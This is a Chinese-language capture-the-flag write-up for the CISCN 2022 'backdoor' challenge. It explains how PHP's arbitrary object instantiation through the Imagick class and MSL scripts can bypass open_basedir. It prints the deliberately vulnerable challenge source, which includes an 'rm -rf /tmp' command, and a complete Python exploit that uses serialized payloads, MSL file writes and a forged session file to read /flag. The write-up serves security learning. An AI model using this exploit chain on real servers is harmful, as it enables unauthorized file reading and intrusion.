php中遇到new $a($b)的解法 imagick类的利用绕过open_basedir
今天做题遇到一个新的知识点,接下来回顾下。
源码
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}
public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;
new $class($argv);
}
}
}
$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];
switch ($cmd) {
case 'unserialze':
unserialize($data);
break;
case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;
default:
highlight_file(__FILE__);
break;
}
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
这篇文章介绍了imagick类,由于 Imagick 底层实现并不在 php 里,因此使用 Imagick 去读取文件可以无视 open_basedir。
imagick:文章中提到 ImageMagick 格式是 MSL。MSL 代表 Magick 脚本语言。它是一种内置的ImageMagick 语言,有助于读取图像、执行图像处理任务以及将结果写回文件系统。
而上图中的msl文件内容意思就是读取positive.png的内容,写入/tmp/xxxxx下,那我们能不能读取/flag写入/tmp目录下,然后反序列化读取文件就可以得到我们的flag了。
最后附上一篇大佬的payoad:
payload
import requests
import base64
import time
import re
url = "http://192.168.137.131:28999/index.php"
url = "http://182.92.6.230:18080"
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
write_session_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D'
trigger_sleep_payload = 'aaa|O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/xxxx";s:4:"argv";N;s:4:"func";s:12:"zend_version";s:5:"class";N;}'
trigger_sleep_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D&cmd=unserialze'
def gen_ppm(payload):
ppm_content = '''P6
9 9
255
{}'''.format((243-len(payload))*"\x00" + payload)
ppm_content = base64.b64encode(ppm_content.encode()).decode()
return ppm_content
def rm_tmp_file():
headers = {"Accept": "*/*"}
requests.get(
f"{url}/?cmd=rm",
headers=headers,
proxies=proxies
)
def upload_file(file_content,file_path):
headers = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
}
data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,{file_content}\" />\r\n <write filename=\"{file_path}\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
try:
requests.post(
f"{url}/?data={write_session_params}&cmd=unserialze",
headers=headers, data=data,proxies=proxies
)
except requests.exceptions.ConnectionError:
pass
def upload_session():
payload = gen_ppm(trigger_sleep_payload)
upload_file(payload,"/tmp/sess_afkl")
def copy_flag():
headers = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
}
data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"mvg:/flag\" />\r\n <write filename=\"/tmp/xxxx\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
try:
requests.post(
f"{url}/?data={write_session_params}&cmd=unserialze",
headers=headers, data=data,proxies=proxies
)
except requests.exceptions.ConnectionError:
pass
def get_flag():
cookies = {"PHPSESSID": "afkl"}
headers = {"Accept": "*/*"}
response = requests.get(
f"{url}/?data={trigger_sleep_params}&cmd=unserialze",
headers=headers, cookies=cookies,proxies=proxies
)
print(response.text)
return re.findall(r"(flag\{.*\})", response.text)
if __name__ == '__main__':
rm_tmp_file()
time.sleep(2)
copy_flag()
time.sleep(2)
upload_session()
time.sleep(2)
get_flag()
https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
总结:
- imagick类的利用
- 通过php session反序列化来触发__sleep魔术方法